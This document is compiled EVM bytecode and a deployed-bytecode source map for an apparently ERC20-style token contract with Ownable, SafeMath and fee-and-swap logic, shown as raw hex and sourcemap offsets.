9050565b60006121b482612189565b9050919050565b6121c4816121a9565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b6000819050919050565b6121fa816121e7565b811461220557600080fd5b50565b600081359050612217816121f1565b92915050565b6000806040838503121561223457612233612184565b5b6000612242858286016121d2565b925050602061225385828601612208565b9150509250929050565b60008115159050919050565b6122728161225d565b82525050565b600060208201905061228d6000830184612269565b92915050565b61229c816121e7565b82525050565b60006020820190506122b76000830184612293565b92915050565b6000806000606084860312156122d6576122d5612184565b5b60006122e4868287016121d2565b93505060206122f5868287016121d2565b925050604061230686828701612208565b9150509250925092565b612319816121a9565b82525050565b60006020820190506123346000830184612310565b92915050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386612184565b5b6000612395848285016121d2565b91505092915050565b6000819050919050565b60006123c36123be6123b984612189565b61239e565b612189565b9050919050565b60006123d5826123a8565b9050919050565b60006123e7826123ca565b9050919050565b6123f7816123dc565b82525050565b600060208201905061241260008301846123ee565b92915050565b600061242382612189565b9050919050565b61243381612418565b82525050565b600060208201905061244e600083018461242a565b92915050565b6000806040838503121561246b5761246a612184565b5b6000612479858286016121d2565b925050602061248a858286016121d2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124db57607f821691505b6020821081036124ee576124ed612494565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252a6020836120dd565b9150612535826124f4565b602082019050919050565b600060208201905081810360008301526125598161251d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125bc6026836120dd565b91506125c782612560565b604082019050919050565b600060208201905081810360008301526125eb816125af565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061264e6024836120dd565b9150612659826125f2565b604082019050919050565b6000602082019050818103600083015261267d81612641565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e06022836120dd565b91506126eb82612684565b604082019050919050565b6000602082019050818103600083015261270f816126d3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127726025836120dd565b915061277d82612716565b604082019050919050565b600060208201905081810360008301526127a181612765565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128046023836120dd565b915061280f826127a8565b604082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128966029836120dd565b91506128a18261283a565b604082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612906826121e7565b9150612911836121e7565b9250828203905081811115612929576129286128cc565b5b92915050565b600061293a826121e7565b9150612945836121e7565b925082820190508082111561295d5761295c6128cc565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612999601b836120dd565b91506129a482612963565b602082019050919050565b600060208201905081810360008301526129c88161298c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a3c816121bb565b92915050565b600060208284031215612a5857612a57612184565b5b6000612a6684828501612a2d565b91505092915050565b6000819050919050565b6000612a94612a8f612a8a84612a6f565b61239e565b6121e7565b9050919050565b612aa481612a79565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612adf816121a9565b82525050565b6000612af18383612ad6565b60208301905092915050565b6000602082019050919050565b6000612b1582612aaa565b612b1f8185612ab5565b9350612b2a83612ac6565b8060005b83811015612b5b578151612b428882612ae5565b9750612b4d83612afd565b925050600181019050612b2e565b5085935050505092915050565b600060a082019050612b7d6000830188612293565b612b8a6020830187612a9b565b8181036040830152612b9c8186612b0a565b9050612bab6060830185612310565b612bb86080830184612293565b9695505050505050565b6000612bcd826121e7565b9150612bd8836121e7565b9250828202612be6816121e7565b91508282048414831517612bfd57612bfc6128cc565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c3e826121e7565b9150612c49836121e7565b925082612c5957612c58612c04565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cc06021836120dd565b9150612ccb82612c64565b604082019050919050565b60006020820190508181036000830152612cef81612cb3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f8ff4509ebc012e2c9c90d4e8ad9fac00c2a568a7fa42b7982eeffed7b7f52a664736f6c63430008130033

Deployed Bytecode Sourcemap

8018:8130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10449:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11740:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10722:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12838:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8276:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10631:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11108:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8536:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8985:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8479:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6198:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10830:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8635:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5579:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5793:145;;;;;;;;;;;;;:::i;:::-;;10540:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11611:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11334:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12663:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8876:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8922:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8224:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9033;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10957:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12249:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8592:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5946:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10449:83;10486:13;10519:5;10512:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10449:83;:::o;11740:156::-;11815:4;11832:39;11841:12;:10;:12::i;:::-;11855:7;11864:6;11832:8;:39::i;:::-;11889:4;11882:11;;11740:156;;;;:::o;10722:100::-;10775:7;10802:12;;10795:19;;10722:100;:::o;12838:313::-;12936:4;12953:36;12963:6;12971:9;12982:6;12953:9;:36::i;:::-;;13000:121;13009:6;13017:12;:10;:12::i;:::-;13031:89;13069:6;13031:89;;;;;;;;;;;;;;;;;:11;:19;13043:6;13031:19;;;;;;;;;;;;;;;:33;13051:12;:10;:12::i;:::-;13031:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13000:8;:121::i;:::-;13139:4;13132:11;;12838:313;;;;;:::o;8276:71::-;;;;;;;;;;;;;:::o;10631:83::-;10672:5;10697:9;;;;;;;;;;;10690:16;;10631:83;:::o;11108:218::-;11196:4;11213:83;11222:12;:10;:12::i;:::-;11236:7;11245:50;11284:10;11245:11;:25;11257:12;:10;:12::i;:::-;11245:25;;;;;;;;;;;;;;;:34;11271:7;11245:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11213:8;:83::i;:::-;11314:4;11307:11;;11108:218;;;;:::o;8536:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;8985:41::-;;;;;;;;;;;;;:::o;8479:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6198:90::-;6238:7;6265:15;6258:22;;6198:90;:::o;10830:119::-;10896:7;10923:9;:18;10933:7;10923:18;;;;;;;;;;;;;;;;10916:25;;10830:119;;;:::o;8635:37::-;;;;:::o;5579:79::-;5617:7;5644:6;;;;;;;;;;;5637:13;;5579:79;:::o;5793:145::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5897:1:::1;5860:40;;5881:6;::::0;::::1;;;;;;;;5860:40;;;;;;;;;;;;5928:1;5911:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5793:145::o:0;10540:83::-;10579:13;10612:7;10605:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10540:83;:::o;11611:121::-;11673:7;11700:24;;11693:31;;11611:121;:::o;11334:269::-;11427:4;11444:129;11453:12;:10;:12::i;:::-;11467:7;11476:96;11515:15;11476:96;;;;;;;;;;;;;;;;;:11;:25;11488:12;:10;:12::i;:::-;11476:25;;;;;;;;;;;;;;;:34;11502:7;11476:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11444:8;:129::i;:::-;11591:4;11584:11;;11334:269;;;;:::o;12663:167::-;12741:4;12758:42;12768:12;:10;:12::i;:::-;12782:9;12793:6;12758:9;:42::i;:::-;;12818:4;12811:11;;12663:167;;;;:::o;8876:39::-;;;;;;;;;;;;;:::o;5455:21::-;;;;;;;;;;;;:::o;8922:26::-;;;;;;;;;;;;;:::o;8224:45::-;;;;;;;;;;;;;:::o;9033:::-;;;;;;;;;;;;;:::o;10957:143::-;11038:7;11065:11;:18;11077:5;11065:18;;;;;;;;;;;;;;;:27;11084:7;11065:27;;;;;;;;;;;;;;;;11058:34;;10957:143;;;;:::o;12249:173::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12366:8:::1;12331:14;;:44;;;;;;;;;;;;;;;;;;12410:4;12386:21;;:28;;;;;;;;;;;;;;;;;;12249:173:::0;:::o;8592:36::-;;;;:::o;5946:244::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6055:1:::1;6035:22;;:8;:22;;::::0;6027:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6145:8;6116:38;;6137:6;::::0;::::1;;;;;;;;6116:38;;;;;;;;;;;;6174:8;6165:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5946:244:::0;:::o;103:115::-;156:15;199:10;184:26;;103:115;:::o;11904:337::-;12014:1;11997:19;;:5;:19;;;11989:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12095:1;12076:21;;:7;:21;;;12068:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12179:6;12149:11;:18;12161:5;12149:18;;;;;;;;;;;;;;;:27;12168:7;12149:27;;;;;;;;;;;;;;;:36;;;;12217:7;12201:32;;12210:5;12201:32;;;12226:6;12201:32;;;;;;:::i;:::-;;;;;;;;11904:337;;;:::o;13159:1314::-;13246:4;13291:1;13273:20;;:6;:20;;;13265:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13375:1;13354:23;;:9;:23;;;13346:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13445:1;13436:6;:10;13428:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13516:16;;;;;;;;;;;13513:953;;;13565:41;13580:6;13588:9;13599:6;13565:14;:41::i;:::-;13558:48;;;;13513:953;13659:28;13690:24;13708:4;13690:9;:24::i;:::-;13659:55;;13736:16;;;;;;;;;;;13735:17;:42;;;;;13757:12;:20;13770:6;13757:20;;;;;;;;;;;;;;;;;;;;;;;;;13756:21;13735:42;:67;;;;;13781:21;;;;;;;;;;;13735:67;13731:281;;;13839:25;;;;;;;;;;;13836:98;;;13910:24;;13887:47;;13836:98;13953:43;13968:20;13989:6;13953:14;:43::i;:::-;13731:281;14048:53;14070:6;14048:53;;;;;;;;;;;;;;;;;:9;:17;14058:6;14048:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14028:9;:17;14038:6;14028:17;;;;;;;;;;;;;;;:73;;;;14118:19;14141:17;:25;14159:6;14141:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;14170:17;:28;14188:9;14170:28;;;;;;;;;;;;;;;;;;;;;;;;;14141:57;14140:147;;14253:34;14261:6;14269:9;14280:6;14253:7;:34::i;:::-;14140:147;;;14244:6;14140:147;14118:169;;14329:37;14354:11;14329:9;:20;14339:9;14329:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14306:9;:20;14316:9;14306:20;;;;;;;;;;;;;;;:60;;;;14405:9;14388:40;;14397:6;14388:40;;;14416:11;14388:40;;;;;;:::i;:::-;;;;;;;;14450:4;14443:11;;;;13159:1314;;;;;;:::o;1525:192::-;1611:7;1644:1;1639;:6;;1647:12;1631:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1671:9;1687:1;1683;:5;;;;:::i;:::-;1671:17;;1708:1;1701:8;;;1525:192;;;;;:::o;1192:181::-;1250:7;1270:9;1286:1;1282;:5;;;;:::i;:::-;1270:17;;1311:1;1306;:6;;1298:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1364:1;1357:8;;;1192:181;;;;:::o;14481:330::-;14574:4;14611:53;14633:6;14611:53;;;;;;;;;;;;;;;;;:9;:17;14621:6;14611:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14591:9;:17;14601:6;14591:17;;;;;;;;;;;;;;;:73;;;;14698:32;14723:6;14698:9;:20;14708:9;14698:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14675:9;:20;14685:9;14675:20;;;;;;;;;;;;;;;:55;;;;14763:9;14746:35;;14755:6;14746:35;;;14774:6;14746:35;;;;;;:::i;:::-;;;;;;;;14799:4;14792:11;;14481:330;;;;;:::o;14821:702::-;9605:4;9586:16;;:23;;;;;;;;;;;;;;;;;;14940:21:::1;14978:1;14964:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14940:40;;15009:4;14991;14996:1;14991:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15035:6;15025:4;15030:1;15025:7;;;;;;;;:::i;:::-;;;;;;;:16;;;;;;;;;::::0;::::1;15062:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15052:4;15057:1;15052:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;::::0;::::1;15130:14;;;;;;;;;;;:65;;;15206:7;15224:1;15264:4;15287;15319:15;15130:215;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15358:22;15383:21;15358:46;;15437:1;15420:14;:18;15417:96;;;15453:60;15474:22;;;;;;;;;;;15498:14;15453:20;:60::i;:::-;15417:96;14897:626;;9651:5:::0;9632:16;;:24;;;;;;;;;;;;;;;;;;14821:702;;:::o;15533:605::-;15619:7;15641:17;15661:1;15641:21;;15676:12;:20;15689:6;15676:20;;;;;;;;;;;;;;;;;;;;;;;;;15673:237;;;15725:38;15759:3;15725:29;15736:17;;15725:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;15713:50;;15673:237;;;15807:12;:23;15820:9;15807:23;;;;;;;;;;;;;;;;;;;;;;;;;15804:106;;;15859:39;15894:3;15859:30;15870:18;;15859:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;15847:51;;15804:106;15673:237;15935:1;15923:9;:13;15920:170;;;15977:39;16006:9;15977;:24;15995:4;15977:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;15953:9;:21;15971:1;15953:21;;;;;;;;;;;;;;;:63;;;;16061:4;16036:42;;16045:6;16036:42;;;16068:9;16036:42;;;;;;:::i;:::-;;;;;;;;15920:170;16109:21;16120:9;16109:6;:10;;:21;;;;:::i;:::-;16102:28;;;15533:605;;;;;:::o;12432:126::-;12524:9;:18;;:26;12543:6;12524:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12432:126;;:::o;1725:250::-;1783:7;1812:1;1807;:6;1803:47;;1837:1;1830:8;;;;1803:47;1862:9;1878:1;1874;:5;;;;:::i;:::-;1862:17;;1907:1;1902;1898;:5;;;;:::i;:::-;:10;1890:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1966:1;1959:8;;;1725:250;;;;;:::o;1983:132::-;2041:7;2068:39;2072:1;2075;2068:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2061:46;;1983:132;;;;:::o;1381:136::-;1439:7;1466:43;1470:1;1473;1466:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1459:50;;1381:136;;;;:::o;2123:278::-;2209:7;2241:1;2237;:5;2244:12;2229:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2268:9;2284:1;2280;:5;;;;:::i;:::-;2268:17;;2392:1;2385:8;;;2123:278;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:86::-;4810:7;4850:4;4843:5;4839:16;4828:27;;4775:86;;;:::o;4867:112::-;4950:22;4966:5;4950:22;:::i;:::-;4945:3;4938:35;4867:112;;:::o;4985:214::-;5074:4;5112:2;5101:9;5097:18;5089:26;;5125:67;5189:1;5178:9;5174:17;5165:6;5125:67;:::i;:::-;4985:214;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:151::-;5961:9;5994:37;6025:5;5994:37;:::i;:::-;5981:50;;5886:151;;;:::o;6043:181::-;6155:62;6211:5;6155:62;:::i;:::-;6150:3;6143:75;6043:181;;:::o;6230:272::-;6348:4;6386:2;6375:9;6371:18;6363:26;;6399:96;6492:1;6481:9;6477:17;6468:6;6399:96;:::i;:::-;6230:272;;;;:::o;6508:104::-;6553:7;6582:24;6600:5;6582:24;:::i;:::-;6571:35;;6508:104;;;:::o;6618:142::-;6721:32;6747:5;6721:32;:::i;:::-;6716:3;6709:45;6618:142;;:::o;6766:254::-;6875:4;6913:2;6902:9;6898:18;6890:26;;6926:87;7010:1;6999:9;6995:17;6986:6;6926:87;:::i;:::-;6766:254;;;;:::o;7026:474::-;7094:6;7102;7151:2;7139:9;7130:7;7126:23;7122:32;7119:119;;;7157:79;;:::i;:::-;7119:119;7277:1;7302:53;7347:7;7338:6;7327:9;7323:22;7302:53;:::i;:::-;7292:63;;7248:117;7404:2;7430:53;7475:7;7466:6;7455:9;7451:22;7430:53;:::i;:::-;7420:63;;7375:118;7026:474;;;;;:::o;7506:180::-;7554:77;7551:1;7544:88;7651:4;7648:1;7641:15;7675:4;7672:1;7665:15;7692:320;7736:6;7773:1;7767:4;7763:12;7753:22;;7820:1;7814:4;7810:12;7841:18;7831:81;;7897:4;7889:6;7885:17;7875:27;;7831:81;7959:2;7951:6;7948:14;7928:18;7925:38;7922:84;;7978:18;;:::i;:::-;7922:84;7743:269;7692:320;;;:::o;8018:182::-;8158:34;8154:1;8146:6;8142:14;8135:58;8018:182;:::o;8206:366::-;8348:3;8369:67;8433:2;8428:3;8369:67;:::i;:::-;8362:74;;8445:93;8534:3;8445:93;:::i;:::-;8563:2;8558:3;8554:12;8547:19;;8206:366;;;:::o;8578:419::-;8744:4;8782:2;8771:9;8767:18;8759:26;;8831:9;8825:4;8821:20;8817:1;8806:9;8802:17;8795:47;8859:131;8985:4;8859:131;:::i;:::-;8851:139;;8578:419;;;:::o;9003:225::-;9143:34;9139:1;9131:6;9127:14;9120:58;9212:8;9207:2;9199:6;9195:15;9188:33;9003:225;:::o;9234:366::-;9376:3;9397:67;9461:2;9456:3;9397:67;:::i;:::-;9390:74;;9473:93;9562:3;9473:93;:::i;:::-;9591:2;9586:3;9582:12;9575:19;;9234:366;;;:::o;9606:419::-;9772:4;9810:2;9799:9;9795:18;9787:26;;9859:9;9853:4;9849:20;9845:1;9834:9;9830:17;9823:47;9887:131;10013:4;9887:131;:::i;:::-;9879:139;;9606:419;;;:::o;10031:223::-;10171:34;10167:1;10159:6;10155:14;10148:58;10240:6;10235:2;10227:6;10223:15;10216:31;10031:223;:::o;10260:366::-;10402:3;10423:67;10487:2;10482:3;10423:67;:::i;:::-;10416:74;;10499:93;10588:3;10499:93;:::i;:::-;10617:2;10612:3;10608:12;10601:19;;10260:366;;;:::o;10632:419::-;10798:4;10836:2;10825:9;10821:18;10813:26;;10885:9;10879:4;10875:20;10871:1;10860:9;10856:17;10849:47;10913:131;11039:4;10913:131;:::i;:::-;10905:139;;10632:419;;;:::o;11057:221::-;11197:34;11193:1;11185:6;11181:14;11174:58;11266:4;11261:2;11253:6;11249:15;11242:29;11057:221;:::o;11284:366::-;11426:3;11447:67;11511:2;11506:3;11447:67;:::i;:::-;11440:74;;11523:93;11612:3;11523:93;:::i;:::-;11641:2;11636:3;11632:12;11625:19;;11284:366;;;:::o;11656:419::-;11822:4;11860:2;11849:9;11845:18;11837:26;;11909:9;11903:4;11899:20;11895:1;11884:9;11880:17;11873:47;11937:131;12063:4;11937:131;:::i;:::-;11929:139;;11656:419;;;:::o;12081:224::-;12221:34;12217:1;12209:6;12205:14;12198:58;12290:7;12285:2;12277:6;12273:15;12266:32;12081:224;:::o;12311:366::-;12453:3;12474:67;12538:2;12533:3;12474:67;:::i;:::-;12467:74;;12550:93;12639:3;12550:93;:::i;:::-;12668:2;12663:3;12659:12;12652:19;;12311:366;;;:::o;12683:419::-;12849:4;12887:2;12876:9;12872:18;12864:26;;12936:9;12930:4;12926:20;12922:1;12911:9;12907:17;12900:47;12964:131;13090:4;12964:131;:::i;:::-;12956:139;;12683:419;;;:::o;13108:222::-;13248:34;13244:1;13236:6;13232:14;13225:58;13317:5;13312:2;13304:6;13300:15;13293:30;13108:222;:::o;13336:366::-;13478:3;13499:67;13563:2;13558:3;13499:67;:::i;:::-;13492:74;;13575:93;13664:3;13575:93;:::i;:::-;13693:2;13688:3;13684:12;13677:19;;13336:366;;;:::o;13708:419::-;13874:4;13912:2;13901:9;13897:18;13889:26;;13961:9;13955:4;13951:20;13947:1;13936:9;13932:17;13925:47;13989:131;14115:4;13989:131;:::i;:::-;13981:139;;13708:419;;;:::o;14133:228::-;14273:34;14269:1;14261:6;14257:14;14250:58;14342:11;14337:2;14329:6;14325:15;14318:36;14133:228;:::o;14367:366::-;14509:3;14530:67;14594:2;14589:3;14530:67;:::i;:::-;14523:74;;14606:93;14695:3;14606:93;:::i;:::-;14724:2;14719:3;14715:12;14708:19;;14367:366;;;:::o;14739:419::-;14905:4;14943:2;14932:9;14928:18;14920:26;;14992:9;14986:4;14982:20;14978:1;14967:9;14963:17;14956:47;15020:131;15146:4;15020:131;:::i;:::-;15012:139;;14739:419;;;:::o;15164:180::-;15212:77;15209:1;15202:88;15309:4;15306:1;15299:15;15333:4;15330:1;15323:15;15350:194;15390:4;15410:20;15428:1;15410:20;:::i;:::-;15405:25;;15444:20;15462:1;15444:20;:::i;:::-;15439:25;;15488:1;15485;15481:9;15473:17;;15512:1;15506:4;15503:11;15500:37;;;15517:18;;:::i;:::-;15500:37;15350:194